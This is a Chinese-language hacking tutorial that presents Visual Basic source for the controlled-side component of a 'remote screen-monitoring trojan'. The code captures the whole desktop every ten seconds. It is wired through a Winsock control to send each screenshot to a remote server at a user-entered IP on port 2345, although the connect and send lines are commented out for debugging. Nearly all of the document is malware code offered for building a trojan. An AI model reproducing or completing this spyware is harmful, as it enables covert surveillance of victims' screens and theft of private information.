用VB打造远程屏幕监控木马(VB黑客编程)

定时截取屏幕图形,作为被控端

Option Explicit
Private Type BITMAP
    bmType As Long
    bmWidth As Long
    bmHeight As Long
    bmWidthBytes As Long
    bmPlanes As Integer
    bmBitsPixel As Integer
    bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private MyHdc1 As Long, MyBmp1 As Long, MyOldBmp1 As Long, ScrW As Long, ScrH As Long
Private StartT As Single
Private Sub Form_Load()
  Dim bm As BITMAP, BmpSize As Long
  Timer1.Enabled = False   '间隔时间获取图形
  Me.ScaleMode = 3
  ScrW = Screen.Width \ Screen.TwipsPerPixelX
  ScrH = Screen.Height \ Screen.TwipsPerPixelY
  '这只是方便调试的示例，实用程序中，不用临时DC，可直接取窗体的BMP，会快一些
  MyHdc1 = CreateCompatibleDC(FrmClient.hdc)
  MyBmp1 = CreateCompatibleBitmap(FrmClient.hdc, ScrW, ScrH)
  MyOldBmp1 = SelectObject(MyHdc1, MyBmp1)
  'Ws2为WinSock控件，用于发送数据  
  'Ws2.RemoteHost = InputBox("请输入远程服务器ip地址", "远程监控测试", "127.0.0.1")
  'Ws2.RemotePort = 2345
  'Ws2.Connect
  Timer1.Interval = 10000
  Timer1.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
  'Ws2.Close
  SelectObject MyHdc1, MyOldBmp1
  DeleteObject MyBmp1
  DeleteDC MyHdc1
End Sub
Private Sub Timer1_Timer()
  Dim i As Long, d As Long, b As Long, bm As BITMAP, dat() As Byte, BmpSize As Long
  StartT = Timer
  d = GetDesktopWindow
  i = GetDC(d)
  BitBlt MyHdc1, 0, 0, ScrW, ScrH, i, 0, 0, vbSrcCopy
  ReleaseDC d, i
  GetObj MyBmp1, Len(bm), bm
  BmpSize = bm.bmWidthBytes * bm.bmHeight
  ReDim dat(BmpSize - 1)
  GetBitmapBits MyBmp1, BmpSize, dat(0)
  ReDim Preserve dat(BmpSize + 1)
  dat(BmpSize) = 13
  dat(BmpSize + 1) = 10
  'StartT = Timer
  'Ws2.SendData dat
  Debug.Print dat     'dat为获取到的屏幕图形数据
End Sub
Private Sub Ws2_Close()
  StatusBar1.SimpleText = Ws2.RemoteHost & " Disconnected.."
  Ws2.Close
End Sub
Private Sub Ws2_Connect()
  StatusBar1.SimpleText = Ws2.RemoteHost & " Connected.."
End Sub
Private Sub Ws2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  On Error Resume Next
  StatusBar1.SimpleText = Ws2.RemoteHost & " Error : " & Description
  Ws2.Close
End Sub

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